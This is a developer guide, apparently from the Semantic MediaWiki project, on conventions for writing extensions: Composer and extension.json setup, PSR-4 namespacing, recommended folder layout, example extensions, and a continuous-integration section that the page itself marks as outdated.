[Extensions](https://github.com/SemanticMediaWiki/) maintained by the project try follow some simple guidelines, also to make maintenance easier with a common infrastructure and setup:
- Use [`Composer`](https://packagist.org/packages/mediawiki/) as deployment tool
- Loaded via MediaWiki's `extension.json`
- Use Make and Docker to support both, local testing and GitHub Actions continuous integration
## Guidelines and conventions
Some general guidelines are:
- An extension specifies its dependency to ensure it is tested and usable for the Semantic MediaWiki release it was intended for by maintaining a `composer.json`
- Use `PSR-4` and a [PHP namespace](http://php.net/manual/en/language.namespaces.php) to distinguish a codebase from other repositories that may use similar (or even the same) class/interface names.
- Code quality should be considered when writing an extension in order for fellow developers to be able to understand, read, and review the code.
- See also the [coding conventions](https://github.com/SemanticMediaWiki/SemanticMediaWiki/blob/master/docs/architecture/coding.conventions.md) defined by Semantic MediaWiki
- Deploy and write tests as part of the extension
## Getting started ...
The following extensions can be used as inspiration on "How to write an extension" in connection with Semantic MediaWiki.
- [`SemanticMetaTags`](https://github.com/SemanticMediaWiki/SemanticMetaTags)
- [`SemanticExtraSpecialProperties`](https://github.com/SemanticMediaWiki/SemanticExtraSpecialProperties)
- [`SemanticBreadcrumbLinks`](https://github.com/SemanticMediaWiki/SemanticBreadcrumbLinks)
- [`SemanticScribunto`](https://github.com/SemanticMediaWiki/SemanticScribunto)
- [`SemanticGlossary`](https://github.com/SemanticMediaWiki/SemanticGlossary)
## Technical notes
### Files and folders
It has been good practice to code around the following files and folders structure:
<pre>
docs/
i18n/
src/
tests/
</pre>
### Continuous integration
> This section is outdated. Most SMW extensions use Make, Docker and Docker-Compose to run tests both, locally and on GitHub. Coverage is repored on Codecov.
Using Travis-CI is fairly easy to set up and integrable with Semantic MediaWiki, the best approach is to select an existing repository and copy files such as:
- [`.travis.yml`](https://github.com/SemanticMediaWiki/SemanticApprovedRevs/blob/master/.travis.yml)
- [`tests/travis`](https://github.com/SemanticMediaWiki/SemanticApprovedRevs/tree/master/tests/travis) folder and adapt the necessary references
- When you host your extension with GitHub remember to register your Travis-CI either as App or via the webhook (see the documentation from the provider)
- [`phpunit.xml.dist`](https://github.com/SemanticMediaWiki/SemanticApprovedRevs/blob/master/phpunit.xml.dist) and the [`tests/bootstrap.php`](https://github.com/SemanticMediaWiki/SemanticApprovedRevs/blob/master/tests/bootstrap.php) and make necessary changes
